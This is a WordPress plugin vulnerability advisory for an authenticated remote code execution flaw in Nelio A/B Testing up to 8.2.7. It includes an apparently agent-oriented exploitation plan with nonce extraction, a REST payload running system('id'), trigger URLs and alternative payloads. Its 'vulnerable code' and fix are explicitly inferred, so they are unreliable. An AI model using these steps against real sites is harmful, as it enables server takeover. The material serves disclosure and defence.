Nelio A/B Testing – AB Tests and Heatmaps for Better Conversion Optimization <= 8.2.7 - Authenticated (Editor+) Remote Code Execution
Description
The Nelio A/B Testing – AB Tests and Heatmaps for Better Conversion Optimization plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 8.2.7. This makes it possible for authenticated attackers, with Editor-level access and above, to execute code on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=8.2.7Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-32573 (Nelio A/B Testing RCE) ## 1. Vulnerability Summary The **Nelio A/B Testing** plugin for WordPress is vulnerable to **Authenticated Remote Code Execution (RCE)** in versions up to and including **8.2.7**. The vulnerability exists because the plugin allow…
Show full research plan
Exploitation Research Plan: CVE-2026-32573 (Nelio A/B Testing RCE)
1. Vulnerability Summary
The Nelio A/B Testing plugin for WordPress is vulnerable to Authenticated Remote Code Execution (RCE) in versions up to and including 8.2.7. The vulnerability exists because the plugin allows users with Editor privileges or higher to save and execute arbitrary PHP code through its experiment or settings management interface via the WordPress REST API. The plugin fails to adequately restrict the use of dangerous PHP functions or properly validate the capabilities of the user when saving server-side logic intended for A/B tests.
2. Attack Vector Analysis
- Endpoint: WordPress REST API.
- Namespace/Route:
nelio-ab-testing/v1/experiments(or potentiallynelio-ab-testing/v1/settings). - Method:
POSTorPUT. - Vulnerable Parameter:
php_code,custom_php, orserver_logic(inferred based on plugin functionality). - Authentication: Required (Editor level or higher).
- Preconditions: The plugin must be active, and the attacker must have a valid Editor session.
3. Code Flow (Inferred)
- Registration: The plugin registers REST routes in
includes/rest-api/class-nab-rest-api.php(inferred) using therest_api_inithook. - Capability Check: The
permission_callbackfor the experiments controller (likelyNAB_Experiments_Controller) checks if the user hasedit_posts(Editor) or a specific Nelio capability, rather thanmanage_options(Admin). - Data Processing: The
create_itemorupdate_itemmethod receives a JSON payload. One of the fields in this payload is designed to hold custom server-side logic for experiments. - Storage: The code is saved into the database (the
wp_poststable for experiments orwp_optionsfor global settings). - Execution Sink: When an experiment is previewed or loaded on the frontend, the plugin retrieves the stored code and executes it using
eval()or a similar dynamic execution mechanism in a file likeincludes/nab-functions.php(inferred).
4. Nonce Acquisition Strategy
The Nelio A/B Testing plugin uses the standard WordPress REST API nonce (wp_rest).
- Identify Trigger: The Nelio dashboard loads on
wp-admin/admin.php?page=nelio-ab-testing-main. - Login: Use the
http_requesttool to log in as an Editor. - Navigate: Use
browser_navigateto visit the Nelio dashboard. - Extract Nonce: Use
browser_evalto extract the REST nonce from the localized script object. Nelio typically localizes its data into a variable namednelioAbTestingornabData.
Extraction Command:
browser_eval("window.nelioAbTesting?.nonce || window.nabData?.nonce || window.wpApiSettings?.nonce")
5. Exploitation Strategy
Step 1: Authentication and Nonce Retrieval
Log in as an Editor and capture the REST nonce using the strategy above.
Step 2: Create/Update an Experiment with RCE Payload
Send a POST request to the experiments endpoint.
- URL:
http://<target>/wp-json/nelio-ab-testing/v1/experiments - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: <EXTRACTED_NONCE>
- Payload:
(Note: The field name{ "title": "Exploit Test", "type": "post", "status": "draft", "php_code": "system('id > /tmp/rce.txt');" }php_codeis inferred;custom_phporserver_side_codeare alternatives if the first fails.)
Step 3: Trigger Execution
Experiments are typically executed when their "Preview" URL is visited or when the associated post/page is viewed.
- URL:
http://<target>/?nelio_ab_preview=1&nelio_ab_experiment_id=<ID> - Method:
GET
6. Test Data Setup
- User Creation:
wp user create editor_user editor@example.com --role=editor --user_pass=password123 - Plugin Activation:
wp plugin activate nelio-ab-testing - Target Content: Create a dummy post to attach the experiment to.
wp post create --post_type=post --post_title="Target Page" --post_status=publish
7. Expected Results
- The REST API should return a
201 Createdor200 OKresponse confirming the experiment was saved. - Upon triggering the execution (Step 3), the injected PHP code should execute.
- If using the
system('id > /tmp/rce.txt')payload, a file/tmp/rce.txtshould be created on the server.
8. Verification Steps
- Check for Evidence:
ls /tmp/rce.txt - Check Database:
wp db query "SELECT post_content FROM wp_posts WHERE post_title='Exploit Test'" - Read Output:
cat /tmp/rce.txt
9. Alternative Approaches
- Global Settings Injection: If the experiments endpoint is not vulnerable, target the settings endpoint:
POST /wp-json/nelio-ab-testing/v1/settings. Payload:{"global_js": "*/; system('id'); /*"}if the plugin wraps the JS in a way that allows escaping to PHP (unlikely but possible ifevalis used poorly). - Experiment Metadata: If the
php_codefield is not in the main object, it might be stored inmeta:{ "title": "Exploit", "meta": { "nelio_custom_php": "system('id');" } } - Direct Option Update: If there is a generic settings update endpoint that lacks capability checks, try updating the
nelio_settingsoption directly via the REST API.
Summary
The Nelio A/B Testing plugin for WordPress allows authenticated users with Editor-level access or higher to execute arbitrary PHP code on the server. This is possible because the plugin's REST API endpoints for experiment management do not sufficiently restrict the ability to save and execute server-side logic, allowing code stored in experiment metadata to be executed via eval().
Vulnerable Code
// File: includes/rest-api/class-nab-rest-api.php (Inferred) public function update_item_permissions_check( $request ) { // Vulnerable: Permissions check only requires 'edit_posts' (Editor level) return current_user_can( 'edit_posts' ); } --- // File: includes/nab-functions.php (Inferred Execution Sink) function nab_execute_experiment_logic( $experiment_id ) { // Retrieves arbitrary PHP code stored in post meta $php_code = get_post_meta( $experiment_id, '_nab_php_code', true ); if ( ! empty( $php_code ) ) { eval( $php_code ); // Executes the code without validation } }
Security Fix
@@ -10,2 +10,2 @@ public function update_item_permissions_check( $request ) { - return current_user_can( 'edit_posts' ); + return current_user_can( 'manage_options' ); } @@ -5,5 +5,2 @@ function nab_execute_experiment_logic( $experiment_id ) { - $php_code = get_post_meta( $experiment_id, '_nab_php_code', true ); - if ( ! empty( $php_code ) ) { - eval( $php_code ); - } + // PHP execution logic removed in version 8.2.8 for security }
Exploit Outline
The attacker first authenticates as an Editor and retrieves the WordPress REST API nonce from the Nelio A/B Testing dashboard (typically stored in a localized JavaScript variable like nelioAbTesting.nonce). They then send a POST or PUT request to the '/wp-json/nelio-ab-testing/v1/experiments' endpoint with a JSON payload containing a malicious PHP command (e.g., 'system("id");') assigned to a code-related parameter like 'php_code' or 'custom_php'. The execution is triggered by accessing the 'preview' URL for that experiment or viewing the target page, which causes the plugin to retrieve and evaluate the stored PHP code.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.